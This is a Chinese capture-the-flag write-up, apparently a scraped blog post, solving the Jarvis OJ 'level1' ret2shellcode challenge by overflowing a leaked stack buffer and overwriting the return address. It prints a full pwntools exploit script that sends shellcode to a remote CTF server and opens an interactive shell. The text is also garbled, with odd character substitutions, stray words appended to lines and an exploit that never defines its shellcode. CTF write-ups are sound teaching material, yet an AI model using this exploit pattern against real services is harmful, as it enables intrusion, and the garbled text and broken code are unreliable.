ret2shellcodeshell
题目是在jarvis OJ上的函数
题目连接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5学习
一道很是典型的shellcode题,话很少说,直接开整this
首先咱们仍是先要nc一下,看一下出题人给咱们整了什么活spa
嗯?给了一个地址,没有其余信息了翻译
那么我么用pwntools的checksec查看一下开启了哪些保护,能够看到没有开启NX保护,大体能够猜到能够利用shellcode来获取flagdebug
根据流程,接下来放到ida里查看伪代码:3d
发现一个vulnerable_function() 翻译过来就是漏洞函数code
到这里也很容易看出开始nc时获得的内存地址就是buf的地址,因此思路就来了,只要能够获取这段地址,插入shellcode,覆盖掉函数的返回地址,就能够成功pwn掉。blog
点开buf,也能够看到buf的大小是0x88+0x04(32位+4 64位+8)
关于为何是要覆盖掉函数的返回地址,能够看这张图,前提是对函数调用时的栈内变化有所了解。
若是看不懂的话建议仍是先学习一下函数调用栈,推荐教程 https://zhuanlan.zhihu.com/p/25816426 写的很棒,(我也看的不是很懂,一块儿学吧
下面咱们来构造exp:
首先分析一下,这个程序是会输出buf的地址的,因此咱们要先接受这个地址,这就能够用到咱们的pwntools的函数recvuntil()
解释一下,开始先把%p以前的多余字符吸取掉,不用管,而后用 索引取值,取出地址(skrskrskr~)
接下来咱们构造payload:
shellcode = asm(shellcraft)
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(以前得到的地址)
完整版exp:
from pwn import *
debug = 0 if debug: a = process('./level1.80eacdcd51aca92af7749d96efad7fb5') else: a = remote('pwn2.jarvisoj.com',9877) a.recvuntil("What's this:") addr_buf = int(a.recvuntil("?")[:-1],16) payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr_buf)
a.sendline(payload) a.interactive()
运行脚本:
记录日期:2020-07-06 21:10:48